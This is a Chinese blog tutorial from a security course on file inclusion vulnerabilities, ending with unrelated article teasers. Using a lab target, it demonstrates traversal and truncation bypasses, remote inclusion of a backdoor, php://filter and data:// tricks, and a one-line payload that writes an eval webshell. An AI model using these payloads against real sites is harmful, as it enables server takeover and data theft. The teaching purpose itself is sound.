文件操作之文件包含全解(31)

news2024/9/24 11:25:28

文件包含的作用就是将这个文件包含进去之后,会调用指定文件的代码。先将文件包含才能执行里面的一些相关代码,比如所想进行文件的链接,数据库的查询,就可以先包含一个数据库的配置文件, 再去链接的话就享有配置文件的一些配置信息,就不需要在进行相关的操作。

它可以把一些功能性代码写到一个文件里面,然后用另外一个文件去包含这个文件,这样子就不再重复书写那个包含文件里面的代码。

举四个脚本语句,asp,php,jsp,aspx等

<!==#include file=”1.asp”-->    就相当于包含了1.asp

<!==#include file=”top.aspx”-->   这个aspx运行,包含了一个top.aspx文件

<c:import url=”http://thief.one/1.jsp”>    包含一个远程地址文件jsp

<% include file=”head.jsp”%>  第二种写法,包含一个本地地址文件 jsp

<jsp:include page=”head.jsp”/>  第三种jsp写法

<?php include(‘test.php’)?>    php的写法

包含文件的常见写法

搭建一个靶场演示

声明一个变量filenam=get接收到filename值。然后include包含变量filename,

在网站当前目录是有一个1.txt文件的

 

 现在通过地址去访问一下include.php这个文件,

 然而phpinfo并没有在代码中体现,而是写在1.txt里面的,然而直接访问1.txt

 就只会显示里面的内容,并不会当作代码去执行。而在包含文件里面不管你是asp还是txt,都会把里面的内容当作php代码去执行。网站是php就以php代码去执行,asp就以asp代码去执行。

条件就是一个可控变量,一个漏洞函数,(include包含函数)

#检测

第一种是白盒,有代码之后我们去代码里面分析(代码审计)

第二种是黑盒,没有漏洞,就利用工具去扫描,去看公开的漏洞有没有,利用这个功能点和参数值去判定,就是看后面的参数值的值街上的是不是一个文件或者类似文件名字的命名,来判定给的参数值是不是一个文件,功能点就是去思考这个网站的功能是干嘛用的通过这个功能去思考会涉及到那些函数,有没有文件包含。

这个是检测的一个大概思路。

#类型

类型分为两种一种是本地包含,就是包含本地的文件。一种是远程包含,就是能包含互联网所能访问的文件,都能包含。

远程包含危害更大,因为可以自己去写一个文件,去做一个网站,让包含漏洞的文件指向它,然而这个东西是可以自定义,所以就可以写后门代码之类的东西。

包含都会涉及到应该叫无限制一个叫有限制,无限制就是这个包含漏洞没有限制就直接用,有限制就可能有一些一些干扰,需要我们用特定的方法去绕过。

#利用

我们在利用漏洞的时候都有各种各样的要求,我们能不能进行读取里面的文件或者执行相关的命令,这时我们可以进行一些伪造协议,这些伪造协议也可以进行上面有限制的绕过,利用伪造协议去绕过一些常见的waf软件也是可以的。利用就属于拓展应用,其他协议的结合。

#说一下本地包含,远程包含

本地包含要跨目录,比如想去包含d盘下面的一个文件

 就要往上跨两级,../是上一级的意思,所以我们要写两个,最终网站就是

127.0.0.1/xx.php?filename=../../qingshu.txt

成功包含到了w.txt文件,并且执行了里面的语句

 现在来看一下有限制的源码

 这个有限制是他指向的文件后缀为.html,再去指向刚刚指向过的1.txt文件

 这时候就发现网站不一样了,现在他包含的文件的就相当于包含的1.txt.html,由于当前目录没有这个文件,所以执行失败,因为他在文件后面强制加了一个.html,这种就是常规额的验证方式,可以用以下两种方式去绕过,

%00截断,不过要是php环境,而且php版本<5.3.4,小于5.3.4版本呢

这种不太推荐但是很方便,只需要在后面加上个%00,刚刚作者是版本大于5.3.4访问还是刚刚效果切换到了小于5.3.4的版本就正常访问了。

 第二种方法,长度截断

条件:Windows系统的话点号需要长度大于256位,linux系统的话点号长度需要大于4096位,大于这个长度就直接截断了,垃圾数据填充的方法思路差不多。

操作系统是目标服务器操作系统

就这样填充垃圾数据。

#远程包含

其实在任何脚本里面都有这么一个简单的设置,来确定这个漏洞会不会成为远程包含。

第一个是代码里面有限制只能包含本地文件就不会远程包含,如果说代码里面没有,并且开发平台上面设置也没有设置禁止包含远程文件,就可能产生远程包含漏洞。

在php里面就有一个开关,allow_url_include

这个是可以通过查看phpinfo查到的和开关状态

 如果这里是开启状态的话就允许远程地址的请求,就支持远程包含文件,这里把源码恢复到没有拦截的时候,然后这里老师自己博客里面有一个有远程代码的文件,

 远程包含一下老师的文件的时候,输出来了,还显示出来了phpinfo的效果。

 而包含的地址是一个远程地址,把这个远程文件去访问了,并且调用执行了。

如果这个远程文件是一个后门代码,现在把那个文件写为一个远程代码,

 然后再去访问一下网站,现在代码已经不显示了,但代码已经执行了

 我们现在就可以用菜刀去连接这个后门

直接连接上

 然后现在把源代码换回来那个有过滤的,然后在去访问网址就不行了,这个过滤也很简单

末尾加?  加%23  加%20   都可以执行

 #各种协议流玩法

比赛题目考到的话基本上都会碰到这个伪造协议

 我们伪造的时候要先知道这个脚本代码支不支持这个协议,curl不是

协议是分支持不支持的对好的就是支持的协议,和版本限制,在那个脚本代码下可以伪造那个协议。

这个是php里面的写法,测试的版本,部分功能的改观情况,off/on的就是开不开都可以,

选用那种伪造协议要先确定当前网站的脚本代码是否支持,可能还有些支持下面还需要条件

php伪协议链接:https://www.cnblogs.com/endust/p/11804767.html  (很全)

讲几个比较重点的

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt 

通过这个代码就可以读取文件里面的内容(链接里面参考)

 base64加密是为了避免有一些文件内容乱码,拿去解密就好了。

换一个执行代码效果,就去链接里面找就好了,那里也有说要换成post提交方式, 

 

 

 写入一句话后门代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

这个语句就相当与写一个shell.php文件,然后将后门的一句写入到那个文件里面去,写入之后就可以直接连接这个shell.php代码试试,

file协议在上面那个表里面是都支持的,

还要data协议,图片上没有。好像php特,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

 里面的内容执行代码可以由你自定义,比如这里我想输出个地东西

 这就是我们说的具体协议的玩法,如果是别的脚本代码直接去网上搜脚本代码的为协议就好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/611108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年6月北京/广州/深圳CDGA/CDGP数据治理认证招生

DAMA认证为数据管理专业人士提供职业目标晋升规划&#xff0c;彰显了职业发展里程碑及发展阶梯定义&#xff0c;帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力&#xff0c;促进开展工作实践应用及实际问题解决&#xff0c;形成企业所需的新数字经济下的核心职业…

C#发送邮箱设置及源码

用C#调用发送邮箱代码之前需要邮箱开通SMTP/POP3及设置授权码&#xff0c;开通及获取方法如下&#xff1a; 1、打开邮箱&#xff0c;登录邮箱&#xff0c;进入设置&#xff0d;》帐户 2、在“帐户”设置中&#xff0c;找到服务设置项&#xff0c;进行设置&#xff0c;如下…

什么是软件测试?这份工作到底怎么样?

什么是软件测试&#xff1f;这份工作到底怎么样&#xff1f; 着人工智能时代的到来&#xff0c;IT行业受到了越来越多人的重视。软件测试作为把控软件质量必不可少的环节&#xff0c;其重要性可见一斑。 那么从事软件测试行业究竟有前途吗?今天我们就来详细的介绍一下软件测…

第34步 机器学习实战DLC:不平衡数据处理(上)

失踪人口回归的第一期&#xff0c;来说一说不平衡数据。 一、不平衡数据的概念 什么是不平衡数据&#xff1f;我们先来看看小Chat怎么说的&#xff1a; 顾名思义&#xff0c;就是你的因变量1和0的样本数差距有点大&#xff0c;大到影响了模型性能。举个栗子&#xff0c;一个盒…

详解CenterFusion损失函数初始化及前向传播过程

CenterFusion损失函数Loss初始化_get_losses函数以及计算过程forward函数 1. 损失函数初始化前序运行逻辑2. 损失函数初始化2.1 loss函数初始化——Trainer类中的_get_losses()函数2.2 model_with_loss的初始化 3. loss计算过程前序运行逻辑4. loss计算过程4.1 loss计算函数调用…

chatgpt赋能python:Python圆柱体积计算器:简单、高效、快速解决计算难题

Python圆柱体积计算器&#xff1a;简单、高效、快速解决计算难题 圆柱体积是一个在日常生活、工程学、数学等领域都十分普遍的概念&#xff0c;可以用来计算许多实际问题中的体积&#xff0c;比如容器的容量、建筑材料的用量等等。在本文中&#xff0c;我们将介绍如何使用Pyth…

部署和配置DHCP服务器实验:自动分配IP地址和网络配置

部署和配置DHCP服务器实验&#xff1a;自动分配IP地址和网络配置 【实验目的】 部署DHCP服务器。熟悉DHCP服务器的配置方法。验证拓扑。 【实验拓扑】 实验拓扑如图所示。 设备参数如下表所示。 设备 接口 IP地址 子网掩码 默认网关 DHCPSERVE F0/0 172.16.10.1 25…

大学生必知必会技能系列02--虚拟机安装

学习linux的时候&#xff0c;在自己的pc笔记本上安装Linux不太方便&#xff0c;解决方法是&#xff0c;在笔记本上安装 vmware虚拟机,然后再把计划要学习的Linux版本安装到虚拟机中&#xff0c;此时外部电脑能办公&#xff0c;虚拟机上的 代码也能正常运用。 一、VMware 17 虚拟…

2023年6月杭州/广州/东莞/深圳软考(中/高级)认证招生简章

软考是全国计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;简称软考&#xff09;项目&#xff0c;是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试&#xff0c;既属于国家职业资格考试&#xff0c;又是职称资格考试。 系统集成…

09 【CLI 初始化脚手架 Vue零碎的一些知识】

09 【CLI 初始化脚手架 Vue零碎的一些知识】 1.Vue CLI 初始化脚手架 1.1具体步骤 1如果下载缓慢请配置npm淘宝镜像npm config set registry http://registry.npm.taobao.org 2全局安装 vue/cli npm install -g vue/cli 3切换到创建项目的目录&#xff0c;使用命令创建项目v…

递增子序列

1题目 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素&#xff0c;如出现两个整数相等&#xff0c;也可以视作递增序列的一种特殊情况。 示例 1…

苹果MacOS系统傻瓜式本地部署AI绘画Stable Diffusion教程

Stable Diffusion的部署对小白来说非常麻烦&#xff0c;特别是又不懂技术的人。今天分享两个一键傻瓜式安装包&#xff0c;对小白来说非常有用。下面两个任选一个安装就可以。 一、DiffusionBee 简单介绍 DiffusionBee是基于stable diffusion的一个安装包&#xff0c;有图形…

BIO NIO AIO之间的区别与联系

目录 前言五种I/O模型1.同步阻塞I/O, BIO2.同步非阻塞I/O, NIO3.多路复用IO4.信号驱动I/O5.异步I/O&#xff0c;AIO 同步阻塞&#xff1f;异步非阻塞&#xff1f;1.阻塞I/O 与 非阻塞I/O2.同步I/O 与 异步I/O Netty采用了哪种I/O模型? 前言 Unix系统下的五种基本I/O模型 blo…

【Jenkins】什么?前端还能用Jenkins一键部署?

前置要求&#xff1a; Jenkins安装nodejs插件&#xff08;本篇文章会教&#xff09; Linux安装Node.js&#xff08;图文解说详细版&#xff09; 如果你是一名前端工程师&#xff0c;那么你可能会对Jenkins这个自动化构建工具并不陌生。但是&#xff0c;你有没有想过在前端项目中…

Python+Django图书商城网站前后端

程序示例精选 PythonDjango图书商城网站前后端 如需安装运行环境或远程调试&#xff0c;见文章底部个人QQ名片&#xff0c;由专业技术人员远程协助&#xff01; 前言 这篇博客针对<<PythonDjango图书商城网站前后端 >>编写代码&#xff0c;代码整洁&#xff0c;规…

飞行器姿态计算

在飞行器的控制中&#xff0c;姿态计算是至关重要的一步。姿态计算的目标是确定飞行器相对于参考坐标系的姿态&#xff0c;通常以欧拉角&#xff08;滚转、俯仰和偏航&#xff09;或四元数的形式表示。 以下是姿态计算的原理和常用方法的简要介绍&#xff1a; 原理&#xff1a…

数据库系列:数据库高可用及无损扩容

1 背景 在大型互联网场景中&#xff0c;数据库的高可用性显得尤为重要&#xff0c;为了保证稳定性&#xff0c;一般需要采用强化的架构模式&#xff0c;以保证数据层能够提供持续有效的稳定支撑。 2 高可用架构的基本演进过程 2.1 基本的数据库架构 每个服务对应一个存储服…

FinancesOnline 2022/2023 10大IT趋势预测

在过去几十年的时间里&#xff0c;全世界的计算能力达到了万亿倍的增长。太空、军事和工业研究促成了范式的转变。与此同时&#xff0c;新冠肺炎大流行等不可预见的事件迫使人们去迎接新的技术&#xff0c;采用与以往不同的技术路径&#xff0c;这导致了IT趋势越来越难以跟上。…

阿里云轻量服务器--Docker--Rabbitmq安装

1 Rabbitmq 介绍&#xff1a; RabbitMQ 是一个开源的消息代理软件&#xff0c;通常用于构建分布式系统&#xff0c;支持多种消息传递协议&#xff0c;并支持多种编程语言。RabbitMQ 基于 AMQP (Advanced Message Queuing Protocol) 协议开发&#xff0c;是一个高可用、高可靠、…

3.完成ODS层数据采集操作

将原始数据导入mysql 1 选中mysql 运行脚本 2 验证结果 数据存储格式和压缩方案 存储格式 分类 1.行式存储(textFile) 缺点:可读性较好 执行 select * 效率比较高 缺点:耗费磁盘资源 执行 select 字段 效率比较低 2.列式存储(orc) 优点:节省磁盘空间. 执行 select 字段…